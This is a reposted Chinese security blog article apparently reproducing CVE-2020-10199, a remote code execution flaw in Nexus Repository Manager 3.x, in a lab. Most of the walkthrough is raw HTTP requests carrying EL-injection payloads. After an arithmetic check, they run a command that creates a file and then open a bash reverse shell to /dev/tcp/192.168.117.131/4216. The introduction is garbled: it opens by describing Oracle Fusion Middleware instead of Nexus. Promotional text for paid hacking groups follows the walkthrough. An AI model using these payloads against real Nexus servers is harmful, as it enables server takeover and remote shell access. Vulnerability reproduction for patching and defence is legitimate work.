【漏洞复现】Nexus Repository Manager RCE (CVE-2020-10199)
2023-5-25 10:31:53 Author: 渗透安全团队(查看原文) 阅读量:24 收藏

免责声明

由于传播、利用本公众号狐狸说安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号狐狸说安全及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉,谢谢!

0x01 简述

Oracle Fusion MiddlewareOracle融合中间件)是美国甲骨文(Oracle)公司的一套面向企业和云环境的业务创新平台。该平台提供了中间件、软件集合等功能nexus的全称是Nexus Repository Manager,是Sonatype公司的一个产品。它是一个强大的仓库管理器,极大地简化了内部仓库的维护和外部仓库的访问。主要用它来搭建公司内部的maven私服。但是它的功能不仅仅是创建maven私有仓库这么简单,还可以作为nugetdockernpmbowerpypirubygemsgit lfsyumgoapt等的私有仓库,功能非常强大。

技术点

攻击者可通过普通用户,执行任意代码,从而控制服务器

漏洞原理

Nexus Repository Manager OSS/Pro 3.21.1 及之前的版本中,由于某处功能安全处理不当,导致经过授权认证的攻击者,可以在远程通过构造恶意的 HTTP 请求,在服务端执行任意恶意代码、执行了不安全的EL表达式,从而获取到系统权限。

影响版本

Nexus Repository Manager OSS/Pro 3.x <= 3.21.1

0x02 漏洞复现

1. 启动环境访问页面

2. 使用账号id:admin  password:admin登录账号

3. brup抓包且构造如下数据包,执行6*6*6

POST /service/rest/beta/repositories/go/group HTTP/1.1Host: 192.168.117.131:42023Content-Length: 187X-Requested-With: XMLHttpRequestX-Nexus-UI: trueUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0NX-ANTI-CSRF-TOKEN:0.9468176225792493Content-Type: application/jsonAccept: */*Origin: 192.168.117.131:42023Referer: 192.168.117.131:42023Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: NX-ANTI-CSRF-TOKEN=0.9468176225792493; NXSESSIONID=ce2578b0-1eb1-4881-8fdc-b4ac02196bffConnection: close{    "name": "internal",    "online": true,    "storage": {        "blobStoreName": "default",        "strictContentTypeValidation": true    },    "group": {    "memberNames": ["$\\A{6*6*6}"]}}注:包构造时需按下图显示,即内容识别出高亮,若不行,则space微调就好了

4. 把执行6*6*6修改为创建一个Nexus文件

POST /service/rest/beta/repositories/go/group HTTP/1.1Host: 192.168.117.131:42023Content-Length: 187X-Requested-With: XMLHttpRequestX-Nexus-UI: trueUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0NX-ANTI-CSRF-TOKEN:0.9468176225792493Content-Type: application/jsonAccept: */*Origin: 192.168.117.131:42023Referer: 192.168.117.131:42023Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: NX-ANTI-CSRF-TOKEN=0.9468176225792493; NXSESSIONID=ce2578b0-1eb1-4881-8fdc-b4ac02196bffConnection: close{    "name": "internal",    "online": true,    "storage": {        "blobStoreName": "default",        "strictContentTypeValidation": true    },    "group": {    "memberNames": ["$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/Nexus')}"]}

1. Nc监听指定端口4216,执行反弹shell

POST /service/rest/beta/repositories/go/group HTTP/1.1Host: 192.168.117.131:42023Content-Length: 187X-Requested-With: XMLHttpRequestX-Nexus-UI: trueUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0NX-ANTI-CSRF-TOKEN:0.9468176225792493Content-Type: application/jsonAccept: */*Origin: 192.168.117.131:42023Referer: 192.168.117.131:42023Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: NX-ANTI-CSRF-TOKEN=0.9468176225792493; NXSESSIONID=ce2578b0-1eb1-4881-8fdc-b4ac02196bffConnection: close{    "name": "internal",    "online": true,    "storage": {        "blobStoreName": "default",        "strictContentTypeValidation": true    },    "group": {    "memberNames": ["$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('/bin/bash -c bash$IFS$9-i>&/dev/tcp/192.168.117.131/4216<&1')}"]}}


付费圈子

欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

进成员内部群

星球的最近主题和星球内部工具一些展示

加入安全交流群

                               

关 注 有 礼

关注下方公众号回复“666”可以领取一套领取黑客成长秘籍

 还在等什么?赶紧点击下方名片关注学习吧!


干货|史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247505291&idx=2&sn=9195f1916dbcf4a684c5e06f96e399e1&chksm=c1762824f601a1321d8d3dd74c761a08d754f9fa53cfb4fe1eafa50e091ad81e09cec6d49779#rd
如有侵权请联系:admin#unsafe.sh